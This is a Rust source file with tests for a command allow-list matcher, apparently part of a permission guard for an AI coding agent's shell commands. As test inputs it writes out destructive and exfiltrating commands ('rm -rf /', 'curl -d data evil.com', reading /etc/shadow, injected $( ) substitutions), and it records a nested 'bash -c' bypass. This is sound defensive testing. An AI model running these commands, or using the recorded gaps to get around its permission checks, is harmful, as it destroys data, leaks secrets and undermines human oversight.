1use std::collections::HashSet;
2use std::path::Path;
3
4use crate::cst::{Cmd, check};
5
6pub struct Matcher {
7 exact: HashSet<String>,
8 globs: Vec<Vec<String>>,
9}
10
11impl Matcher {
12 pub fn load() -> Self {
13 Self::load_with_project_dir(
14 std::env::var_os("CLAUDE_PROJECT_DIR")
15 .or_else(|| std::env::var_os("CWD"))
16 .as_deref()
17 .map(Path::new),
18 )
19 }
20
21 pub fn load_with_project_dir(project_dir: Option<&Path>) -> Self {
22 let mut patterns = Matcher {
23 exact: HashSet::new(),
24 globs: Vec::new(),
25 };
26
27 if let Some(home) = std::env::var_os("HOME") {
28 patterns.load_file(&Path::new(&home).join(".claude/settings.json"));
29 }
30
31 if let Some(dir) = project_dir {
32 let base = dir.join(".claude");
33 patterns.load_file(&base.join("settings.json"));
34 patterns.load_file(&base.join("settings.local.json"));
35 }
36
37 patterns
38 }
39
40 fn load_file(&mut self, path: &Path) {
41 let Ok(contents) = std::fs::read_to_string(path) else {
42 return;
43 };
44 let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
45 return;
46 };
47
48 if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
49 for entry in arr.iter().filter_map(|e| e.as_str()) {
50 self.add_pattern(entry);
51 }
52 }
53
54 if let Some(arr) = value
55 .get("permissions")
56 .and_then(|v| v.get("allow"))
57 .and_then(|v| v.as_array())
58 {
59 for entry in arr.iter().filter_map(|e| e.as_str()) {
60 self.add_pattern(entry);
61 }
62 }
63 }
64
65 fn add_pattern(&mut self, entry: &str) {
66 let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
67 return;
68 };
69 if inner.is_empty() {
70 return;
71 }
72 let normalized = if let Some(prefix) = inner.strip_suffix(":*") {
73 format!("{prefix} *")
74 } else {
75 inner.to_string()
76 };
77 if normalized.contains('*') {
78 self.globs
79 .push(normalized.split('*').map(String::from).collect());
80 } else {
81 self.exact.insert(normalized);
82 }
83 }
84
85 pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
86 let Cmd::Simple(simple) = cmd else {
87 return false;
88 };
89 let normalized = check::normalize_for_matching(simple);
90 let normalized = normalized.trim();
91 if normalized.is_empty() {
92 return false;
93 }
94 if self.exact.contains(normalized) {
95 return true;
96 }
97 self.globs
98 .iter()
99 .any(|parts| glob_matches(parts, normalized))
100 }
101
102 pub fn is_empty(&self) -> bool {
103 self.exact.is_empty() && self.globs.is_empty()
104 }
105}
106
107pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
108 match cmd {
109 Cmd::Simple(_) => {
110 check::is_safe_cmd(cmd)
111 || (!check::has_unsafe_syntax(cmd) && patterns.matches_cmd(cmd))
112 }
113 _ => check::is_safe_cmd(cmd),
114 }
115}
116
117fn glob_matches(parts: &[String], text: &str) -> bool {
118 let first = &parts[0];
119 let last = &parts[parts.len() - 1];
120
121 if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
122 let prefix = &first[..first.len() - 1];
123 return text == prefix || text.starts_with(first.as_str());
124 }
125
126 if !text.starts_with(first.as_str()) {
127 return false;
128 }
129 if !text.ends_with(last.as_str()) {
130 return false;
131 }
132 let mut pos = first.len();
133 let end = text.len() - last.len();
134 if pos > end {
135 return false;
136 }
137 for part in &parts[1..parts.len() - 1] {
138 match text[pos..end].find(part.as_str()) {
139 Some(idx) => pos += idx + part.len(),
140 None => return false,
141 }
142 }
143 pos <= end
144}
145
146#[cfg(test)]
147mod tests {
148 use super::*;
149 use std::fs;
150
151 use crate::cst;
152
153 fn empty() -> Matcher {
154 Matcher {
155 exact: HashSet::new(),
156 globs: Vec::new(),
157 }
158 }
159
160 fn cmd(s: &str) -> Cmd {
161 let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
162 assert_eq!(script.0.len(), 1, "expected single statement: {s}");
163 assert_eq!(
164 script.0[0].pipeline.commands.len(),
165 1,
166 "expected single command: {s}"
167 );
168 script.0[0].pipeline.commands[0].clone()
169 }
170
171 fn segments(command: &str) -> Vec<Cmd> {
172 let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
173 script
174 .0
175 .into_iter()
176 .flat_map(|stmt| stmt.pipeline.commands)
177 .collect()
178 }
179
180 fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
181 is_cmd_covered(cmd, patterns)
182 }
183
184 fn all_covered(command: &str, patterns: &Matcher) -> bool {
185 let Some(script) = cst::parse(command) else {
186 return false;
187 };
188 script.0.iter().all(|stmt| {
189 check::is_safe_pipeline(&stmt.pipeline)
190 || stmt
191 .pipeline
192 .commands
193 .iter()
194 .all(|c| is_cmd_covered(c, patterns))
195 })
196 }
197
198 #[test]
199 fn parse_exact_pattern() {
200 let mut p = empty();
201 p.add_pattern("Bash(npm test)");
202 assert!(p.exact.contains("npm test"));
203 assert!(p.globs.is_empty());
204 }
205
206 #[test]
207 fn parse_legacy_colon_star() {
208 let mut p = empty();
209 p.add_pattern("Bash(npm run:*)");
210 assert!(p.exact.is_empty());
211 assert_eq!(p.globs.len(), 1);
212 }
213
214 #[test]
215 fn parse_space_star() {
216 let mut p = empty();
217 p.add_pattern("Bash(npm run *)");
218 assert!(p.exact.is_empty());
219 assert_eq!(p.globs.len(), 1);
220 }
221
222 #[test]
223 fn parse_non_bash_skipped() {
224 let mut p = empty();
225 p.add_pattern("WebFetch");
226 p.add_pattern("XcodeBuildMCP");
227 assert!(p.is_empty());
228 }
229
230 #[test]
231 fn parse_empty_bash_skipped() {
232 let mut p = empty();
233 p.add_pattern("Bash()");
234 assert!(p.is_empty());
235 }
236
237 #[test]
238 fn match_exact() {
239 let mut p = empty();
240 p.add_pattern("Bash(npm test)");
241 assert!(p.matches_cmd(&cmd("npm test")));
242 assert!(!p.matches_cmd(&cmd("npm test --watch")));
243 }
244
245 #[test]
246 fn match_space_star_word_boundary() {
247 let mut p = empty();
248 p.add_pattern("Bash(ls *)");
249 assert!(p.matches_cmd(&cmd("ls -la")));
250 assert!(p.matches_cmd(&cmd("ls foo")));
251 assert!(!p.matches_cmd(&cmd("lsof")));
252 }
253
254 #[test]
255 fn match_star_no_space_no_boundary() {
256 let mut p = empty();
257 p.add_pattern("Bash(ls*)");
258 assert!(p.matches_cmd(&cmd("ls -la")));
259 assert!(p.matches_cmd(&cmd("lsof")));
260 }
261
262 #[test]
263 fn match_legacy_colon_star_word_boundary() {
264 let mut p = empty();
265 p.add_pattern("Bash(npm run:*)");
266 assert!(p.matches_cmd(&cmd("npm run build")));
267 assert!(p.matches_cmd(&cmd("npm run test")));
268 assert!(!p.matches_cmd(&cmd("npm running")));
269 assert!(!p.matches_cmd(&cmd("npm install")));
270 }
271
272 #[test]
273 fn match_star_at_beginning() {
274 let mut p = empty();
275 p.add_pattern("Bash(* --version)");
276 assert!(p.matches_cmd(&cmd("npm --version")));
277 assert!(p.matches_cmd(&cmd("cargo --version")));
278 assert!(!p.matches_cmd(&cmd("npm --help")));
279 }
280
281 #[test]
282 fn match_star_in_middle() {
283 let mut p = empty();
284 p.add_pattern("Bash(git * main)");
285 assert!(p.matches_cmd(&cmd("git checkout main")));
286 assert!(p.matches_cmd(&cmd("git merge main")));
287 assert!(!p.matches_cmd(&cmd("git checkout develop")));
288 }
289
290 #[test]
291 fn match_env_prefix_stripped() {
292 let mut p = empty();
293 p.add_pattern("Bash(bundle install)");
294 assert!(p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
295 }
296
297 #[test]
298 fn match_fd_redirect_stripped() {
299 let mut p = empty();
300 p.add_pattern("Bash(npm test)");
301 assert!(p.matches_cmd(&cmd("npm test 2>&1")));
302 }
303
304 #[test]
305 fn match_fd_redirect_with_glob() {
306 let mut p = empty();
307 p.add_pattern("Bash(npm run *)");
308 assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
309 }
310
311 #[test]
312 fn empty_patterns_match_nothing() {
313 let p = empty();
314 assert!(!p.matches_cmd(&cmd("anything")));
315 }
316
317 #[test]
318 fn match_bare_star_matches_everything() {
319 let mut p = empty();
320 p.add_pattern("Bash(*)");
321 assert!(p.matches_cmd(&cmd("anything at all")));
322 assert!(p.matches_cmd(&cmd("rm -rf /")));
323 }
324
325 #[test]
326 fn unsafe_syntax_not_bypassed_by_match() {
327 let mut p = empty();
328 p.add_pattern("Bash(./script.sh *)");
329 let c = cmd("./script.sh > /etc/passwd");
330 assert!(check::has_unsafe_syntax(&c));
331 assert!(!is_covered(&c, &p));
332 }
333
334 #[test]
335 fn command_substitution_not_bypassed_by_match() {
336 let mut p = empty();
337 p.add_pattern("Bash(./script.sh *)");
338 let c = cmd("./script.sh $(rm -rf /)");
339 assert!(!is_covered(&c, &p));
340 }
341
342 #[test]
343 fn mixed_chain_safe_plus_settings() {
344 let mut p = empty();
345 p.add_pattern("Bash(./generate-docs.sh)");
346 assert!(all_covered("cargo test && ./generate-docs.sh", &p));
347 }
348
349 #[test]
350 fn mixed_chain_safe_plus_unapproved_denied() {
351 let mut p = empty();
352 p.add_pattern("Bash(./generate-docs.sh)");
353 assert!(!all_covered("cargo test && rm -rf /", &p));
354 }
355
356 #[test]
357 fn glob_does_not_cross_chain_boundary() {
358 let mut p = empty();
359 p.add_pattern("Bash(cargo test *)");
360 let cmds = segments("cargo test --release && rm -rf /");
361 assert_eq!(cmds.len(), 2);
362 assert!(p.matches_cmd(&cmds[0]));
363 assert!(!p.matches_cmd(&cmds[1]));
364 assert!(!all_covered("cargo test --release && rm -rf /", &p));
365 }
366
367 #[test]
368 fn glob_does_not_cross_pipe_boundary() {
369 let mut p = empty();
370 p.add_pattern("Bash(safe-cmd *)");
371 assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
372 }
373
374 #[test]
375 fn glob_does_not_cross_semicolon_boundary() {
376 let mut p = empty();
377 p.add_pattern("Bash(safe-cmd *)");
378 assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
379 }
380
381 #[test]
382 fn file_redirect_promoted_to_safewrite() {
383 let p = empty();
384 let c = cmd("echo > /etc/passwd");
385 assert!(is_covered(&c, &p));
386 }
387
388 #[test]
389 fn bare_star_blocked_by_unsafe_syntax_backtick() {
390 let mut p = empty();
391 p.add_pattern("Bash(*)");
392 assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
393 }
394
395 #[test]
396 fn bare_star_blocked_by_unsafe_syntax_command_sub() {
397 let mut p = empty();
398 p.add_pattern("Bash(*)");
399 assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
400 }
401
402 #[test]
403 fn safe_command_substitution_allowed_through_is_safe() {
404 let p = empty();
405 assert!(is_covered(&cmd("echo $(cat /etc/shadow)"), &p));
406 }
407
408 #[test]
409 fn nested_shell_not_recursively_validated_by_settings() {
410 let mut p = empty();
411 p.add_pattern("Bash(bash *)");
412 let c = cmd("bash -c 'safe-cmd && rm -rf /'");
413 assert!(!check::is_safe_cmd(&c));
414 assert!(!check::has_unsafe_syntax(&c));
415 assert!(is_covered(&c, &p));
416 }
417
418 #[test]
419 fn nested_shell_redirect_promoted_to_safewrite() {
420 let p = empty();
421 let c = cmd("bash -c 'echo hello' > /tmp/out");
422 assert!(is_covered(&c, &p));
423 }
424
425 #[test]
426 fn quoted_operators_stay_as_one_segment() {
427 let mut p = empty();
428 p.add_pattern("Bash(./script *)");
429 assert!(all_covered("./script 'arg && rm -rf /'", &p));
430 }
431
432 #[test]
433 fn load_with_project_dir_reads_local_settings() {
434 let dir = tempfile::tempdir().unwrap();
435 let claude_dir = dir.path().join(".claude");
436 fs::create_dir_all(&claude_dir).unwrap();
437 fs::write(
438 claude_dir.join("settings.local.json"),
439 r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
440 )
441 .unwrap();
442 let p = Matcher::load_with_project_dir(Some(dir.path()));
443 assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
444 assert!(p.matches_cmd(&cmd("./generate-docs.sh --verbose")));
445 assert!(!p.matches_cmd(&cmd("./evil.sh")));
446 }
447
448 #[test]
449 fn load_with_project_dir_reads_both_settings_files() {
450 let dir = tempfile::tempdir().unwrap();
451 let claude_dir = dir.path().join(".claude");
452 fs::create_dir_all(&claude_dir).unwrap();
453 fs::write(
454 claude_dir.join("settings.json"),
455 r#"{"permissions":{"allow":["Bash(cargo install:*)"]}}"#,
456 )
457 .unwrap();
458 fs::write(
459 claude_dir.join("settings.local.json"),
460 r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
461 )
462 .unwrap();
463 let p = Matcher::load_with_project_dir(Some(dir.path()));
464 assert!(p.matches_cmd(&cmd("cargo install --path .")));
465 assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
466 }
467
468 #[test]
469 fn load_with_no_project_dir_skips_project_settings() {
470 let p = Matcher::load_with_project_dir(None);
471 assert!(!p.matches_cmd(&cmd("./generate-docs.sh")));
472 }
473
474 #[test]
475 fn load_with_project_dir_chains_with_builtins() {
476 let dir = tempfile::tempdir().unwrap();
477 let claude_dir = dir.path().join(".claude");
478 fs::create_dir_all(&claude_dir).unwrap();
479 fs::write(
480 claude_dir.join("settings.local.json"),
481 r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
482 )
483 .unwrap();
484 let p = Matcher::load_with_project_dir(Some(dir.path()));
485 assert!(all_covered("cargo test && ./generate-docs.sh", &p));
486 assert!(!all_covered("cargo test && ./evil.sh", &p));
487 }
488
489 #[test]
490 fn load_file_nonexistent() {
491 let mut p = empty();
492 p.load_file(Path::new("/nonexistent/path/settings.json"));
493 assert!(p.is_empty());
494 }
495
496 #[test]
497 fn load_file_malformed_json() {
498 let dir = tempfile::tempdir().unwrap();
499 let path = dir.path().join("settings.json");
500 std::fs::write(&path, "not json{{{").unwrap();
501 let mut p = empty();
502 p.load_file(&path);
503 assert!(p.is_empty());
504 }
505
506 #[test]
507 fn load_file_approved_commands() {
508 let dir = tempfile::tempdir().unwrap();
509 let path = dir.path().join("settings.json");
510 fs::write(
511 &path,
512 r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#,
513 )
514 .unwrap();
515 let mut p = empty();
516 p.load_file(&path);
517 assert!(p.matches_cmd(&cmd("npm test")));
518 assert!(p.matches_cmd(&cmd("npm run build")));
519 assert!(!p.matches_cmd(&cmd("curl evil.com")));
520 }
521
522 #[test]
523 fn load_file_permissions_allow() {
524 let dir = tempfile::tempdir().unwrap();
525 let path = dir.path().join("settings.json");
526 fs::write(
527 &path,
528 r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#,
529 )
530 .unwrap();
531 let mut p = empty();
532 p.load_file(&path);
533 assert!(p.matches_cmd(&cmd("cargo test")));
534 assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
535 }
536
537 #[test]
538 fn load_file_both_fields() {
539 let dir = tempfile::tempdir().unwrap();
540 let path = dir.path().join("settings.json");
541 fs::write(
542 &path,
543 r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#,
544 )
545 .unwrap();
546 let mut p = empty();
547 p.load_file(&path);
548 assert!(p.matches_cmd(&cmd("npm test")));
549 assert!(p.matches_cmd(&cmd("cargo test --release")));
550 }
551}